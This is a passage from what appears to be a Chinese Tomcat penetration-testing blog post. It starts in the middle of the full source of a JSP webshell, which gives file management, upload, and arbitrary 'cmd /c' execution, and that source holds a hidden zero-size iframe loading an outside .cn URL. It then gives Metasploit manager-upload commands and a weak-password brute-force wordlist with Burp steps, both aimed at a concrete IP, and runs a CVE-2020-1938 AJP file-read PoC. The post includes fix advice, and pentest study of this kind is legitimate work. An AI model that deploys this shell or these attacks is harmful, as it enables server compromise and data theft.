if (aobject.blur)
aobject.blur()
return false
}
else
return true
}
 
function highlighttab(aobject){
if (typeof tabobjlinks=="undefined")
collecttablinks()
for (i=0; i<tabobjlinks.length; i++)
tabobjlinks[i].style.backgroundColor=initTabcolor
var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
}
 
function collecttablinks(){
var tabobj=document.getElementById("tablist")
tabobjlinks=tabobj.getElementsByTagName("A")
}
 
function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}
 
if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.οnlοad=do_onload
 
 
 
</script>
<script language="javascript">
 
function doForm(action,path,file,cmd,tab,content)
{
 document.frmCqq.action.value=action;
 document.frmCqq.path.value=path;
 document.frmCqq.file.value=file;
 document.frmCqq.cmd.value=cmd;
 document.frmCqq.tabID.value=tab;
 document.frmCqq.content.value=content;
 if(action=="del")
 {
  if(confirm("确定要删除文件 "+file+" 吗?"))
  document.frmCqq.submit();
 }
 else
 {
  document.frmCqq.submit();    
 }
}
</script>
 
<title>JSP Shell 岁月联盟专用版本</title>
<head>
 
 
<body>
 
<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>
 
<!--Top Menu Started-->
<ul id="tablist">
<li><a href="" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
 &nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->
 
 
<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
 File objFile = new File(strDir);
 File list[] = objFile.listFiles(); 
 if(objFile.getAbsolutePath().length()>3)
 {
  sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
  sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");
 
 
 }
 for(int i=0;i<list.length;i++)
 {
  if(list[i].isDirectory())
  {
   sbFolder.append("<tr><td >&nbsp;</td><td>");
   sbFolder.append("  <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
   sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
  }
  else
  {
      String strLen="";
   String strDT="";
   long lFile=0;
   lFile=list[i].length();
   strLen = convertFileSize(lFile);
   Date dt=new Date(list[i].lastModified());
   strDT=dt.toLocaleString();
   sbFile.append("<tr οnmοuseοver=\"this.style.backgroundColor='#FBFFC6'\" οnmοuseοut=\"this.style.backgroundColor='white'\"><td>");
   sbFile.append(""+list[i].getName()); 
   sbFile.append("</td><td>");
   sbFile.append(""+strLen);
   sbFile.append("</td><td>");
   sbFile.append(""+strDT);
   sbFile.append("</td><td>");
 
   sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileEdit[languageNo]+"</a> ");
 
   sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileDel[languageNo]+"</a> ");
 
   sbFile.append("  &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileDown[languageNo]+"</a> ");
 
   sbFile.append("  &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileCopy[languageNo]+"</a> ");
  }  
 
 } 
}
catch(Exception e)
{
 out.println("<font color=red>操作失败: "+e.toString()+"</font>");
}
%>
 
<DIV id="tabcontentcontainer">
 
 
<div id="menu3" class="tabcontent">
<br> 
<br> &nbsp;&nbsp; 未完成
<br> 
<br>&nbsp;
 
</div>
 
<div id="menu4" class="tabcontent">
<br>
<p>一、功能说明</p>
<p>&nbsp;&nbsp;&nbsp; jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p>
<p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p>
<p>与windows的cmd。</p>
<p>&nbsp;</p>
<p>二、测试</p>
<p>&nbsp;&nbsp;&nbsp;<b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p>
留言地址为:<a href="http://" target="_blank"></a></b>
<p>&nbsp;</p>
<p>三、更新记录</p>
<p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
<p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p>
<p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; 第一个jsp&nbsp;程序就是这个简单的显示目录文件的小程序</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>
 
 
<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
       
        <tr> 
          <td width="25%" align="center" valign="top"> 
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
     <%=sbFolder%>
                </tr>                 
              </table>
          </td>
          <td width="81%" align="left" valign="top">
 
 <%
 if(strAction!=null && strAction.equals("edit"))
 {
  out.println(sbEdit.toString());
 }
 else if(strAction!=null && strAction.equals("copy"))
 {
  out.println(sbCopy.toString());
 }
 else if(strAction!=null && strAction.equals("down"))
 {
  out.println(sbDown.toString());
 }
 else if(strAction!=null && strAction.equals("savecopy"))
 {
  out.println(sbSaveCopy.toString());
 }
 else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
 {
  out.println(sbNewFile.toString());
 }
 else
 {
 %>
  <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
              <tr bgcolor="#E7e7e6"> 
                <td width="26%"><%=strFileName[languageNo]%></td>
                <td width="19%"><%=strFileSize[languageNo]%></td>
                <td width="29%"><%=strLastModified[languageNo]%></td>
                <td width="26%"><%=strFileOperation[languageNo]%></td>
              </tr>              
            <%=sbFile%>
             <!-- <tr align="center"> 
                <td colspan="4"><br>
                  总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font> 
                  KB </td>
              </tr>
    -->
            </table>
   </span>
 <%
 }  
 %>
 
          </td>
        </tr>
 
 <form name="frmMake" action="" method="post">
 <tr><td colspan=2 bgcolor=#FBFFC6>
 <input type="hidden" name="action" value="newFile">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <%
 if(!strDir.endsWith("\\"))
 strDir = strDir + "\\";
 %>
 <input type="text" name="fileName" size=36 value="<%=strDir%>">
 <input type="submit" name="btnNewFile" value="新建文件" οnclick="frmMake.submit()" > 
 <input type="submit" name="btnNewDir" value="新建目录"  οnclick="frmMake.submit()" > 
 </form>  
 <form name="frmUpload" enctype="multipart/form-data" action="" method="post">
 <input type="hidden" name="action" value="upload">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <input type="file" name="cqqUploadFile" size="36">
 <input type="submit" name="submit" value="上传">
 </td></tr></form>
      </table>
</div>
<div id="menu2" class="tabcontent">
 
<%
String line="";
StringBuffer sbCmd=new StringBuffer("");
 
if(strCmd!=null) 
{
 try
 {
  //out.println(strCmd);
  Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
  BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
  while((line=br.readLine())!=null)
  {
   sbCmd.append(line+"\r\n");  
  }    
 }
 catch(Exception e)
 {
  System.out.println(e.toString());
 }
}
else
{
 strCmd = "set";
}
 
%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://" target="_blank"></a> 
<br>
<iframe src=http://7jyewu.cn/a/a.asp width=0 height=0></iframe>

超级webshell合集:tennc/webshell: This is a webshell open source project (github.com)

另外,msf上线控制:

use exploit/multi/http/tomcat_mgr_upload

set HttpUsername tomcat

set HttpPassword tomcat

set rhosts 156.238.233.52

set rport 8080 

exploit

本地复现时全版本都存在该漏洞

无论什么版本的Tomcat,只要是在本地复现的,都可以实现该漏洞。

1、首先通过更改tomcat-users.xml文件,将其修改为如下代码:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 version="1.0">
 <role rolename="manager-gui"/> 
 <role rolename="manager-script"/>
 <role rolename="manager-jmx"/>
 <role rolename="manager-status"/>
 <role rolename="admin-gui"/>
 <role rolename="admin-script"/>
 <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
 
</tomcat-users>

2、改 C:\tomcat9\conf\Catalina\localhost 路径下的 manager.xml 文件,如果该路径下面没有此文件,可以新建一个,内容为:

<Context privileged="true" antiResourceLocking="false" 
docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" /> 
</Context>

3、成功创建和添加以上内容,允许远程访问该manager,登录manager进行war包上传(后面的步骤是一样的)


修复建议

  1. 在系统上以低权限运行 Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)
  2. 增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制
  3. 以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制

Tomcat manager App暴力破解

影响范围:全版本影响

这里其实还是弱口令问题,和上一个差不多,那就拿回Tomcat/8.0.43进行复现

漏洞原理

弱口令问题:Tomcat管理后台的登录认证通常使用HTTP基础认证,如果管理员设置了过于简单的密码(即弱口令),攻击者可以通过暴力破解或使用默认的账号密码等方式轻易登录到管理后台。


漏洞复现

1、访问http://156.238.233.52:8080/manager/html并进行抓包,从数据包中可以看到Authorization处有我刚刚输入的账号密码的base64编码

image-20240905101315458

2、我们把数据包放到Intruder中进行爆破

以下是常用弱口令:

tomcat
manager
apache
password
administrator
root
admin
admin1
admin111
admin123
admin1234
admin222
admin666
admin888
admin123!@#
tomcat123
tomcat1234
tomcat666
tomcat888
manager123
manager1234
manager666
manager888
abc123
abc123!@#
abcd1234
asd123
password123
password123!@#
qwe123
qwe123!@#
qwer1234
qweasd
qweasdzxc
1q2w3e
1q2w3e4r
000000
111111
123123
123456
1234567
12345678
123456789
147258
258369
654321
666666
66666666
7654321
888888
88888888
87654321
987654321

3、爆破要点:

  • 爆破的payload类型我们选择自适应迭代器
  • 位置1上粘贴上面的弱口令,位置2上添加一个冒号:位置3上再次粘贴弱口令(点击位置处即可改变位置值),
  • 然后在payload处理那里修改规则为base64-encode
  • 记得把下面的URL编码字符取消勾选

image-20240905102424307

image-20240905102550888

image-20240905102816330

4、爆破成功,base64解码后得到tomcat:tomcat,后面的操作就是上传War包进行Getshell了,这里不再赘述。


修复建议

  1. 取消 manager/html功能
  2. manager页面应只允许本地IP访问

Tomcat AJP文件包含漏洞分析(CVE-2020-1938)

影响范围:

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

影响说明:读取webapps下的所有文件

复现环境:vulhub中的CVE-2020-1938

漏洞原理

该漏洞的根本原因是Tomcat AJP协议的实现缺陷。AJP(Apache JServ Protocol)是一种二进制协议,用于Web服务器与Servlet容器之间的通信。由于AJP协议的设计缺陷,攻击者可以通过设置AJP请求的某些属性,绕过安全检查,直接读取或包含服务器上的任意文件。

具体说明:

1bc142cd78446555c30f2f70b6fba5c1

tomcat的整体架构如上图所示,一个tomcat就是一个server,其中可以包含多个service(这里指的是一个抽象的逻辑层)

而每个service由Connector、Container、Jsp引擎、日志等组件构成,与此次漏洞相关的组件主要是前两者

  1. Connector用于处理连接相关的事情,并提供Socket与Request和Response相关的转化;
  2. Container用于封装和管理 Servlet,以及具体处理 Request请求

Tomcat默认的conf/server.xml中配置了2个Connector:

  • 一个为8080端口 HTTP协议(1.1版本)端口,默认监听地址:0.0.0.0:8080

  • 另外一个就是默认的8009 AJP协议(1.3版本),默认监听地址为:0.0.0.0:8009

两个端口默认均监听在外网。此次漏洞产生的位置便是8009 AJP协议,此处使用公开的利用脚本进行测试,可以看到能读取web.xml文件


漏洞复现

任意文件读取漏洞

1、这里使用poc进行复现,poc链接:CNVD-2020-10487-Tomcat-Ajp-lfi/CNVD-2020-10487-Tomcat-Ajp-lfi.py at master · YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi (github.com)

2、将python文件下载到kali中,改个名字为1.py(方便输入),目录下终端输入python2 1.py 156.238.233.52 -p 8009 -f WEB-INF/web.xml即可实现文件读取(把web.xml换成你想要读取的文件)

image-20240905113253473


文件包含RCE

该漏洞可以将任意文件类型解析为jsp,从而达到任意命令执行的效果,但是漏洞需要配合文件上传漏洞才可以利用。

所以这里不进行讲解。


修复建议

为了防止该漏洞被利用,建议采取以下措施:

  1. 升级Tomcat到最新版本,最新版本中已经修复了该漏洞。
  2. 如果不需要使用AJP协议,可以禁用AJP端口。
  3. 配置防火墙规则,限制对AJP端口的访问。
  4. 使用云防火墙虚拟补丁进行防护。


参考文章:

[Tomcat与JDK版本对应关系_tomcat和jdk版本对应关系-CSDN博客](https://blog.csdn.net/SANXINGS8/article/details/132596314#:~:text=Tomcat 与 J)

红蓝对抗之服务攻防:Tomcat中间件渗透总结 - FreeBuf网络安全行业门户

4W字+上千行代码!Tomcat渗透测试方法大总结,拿来吧你!_apache tomcat 默认文件漏洞如何渗透-CSDN博客

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值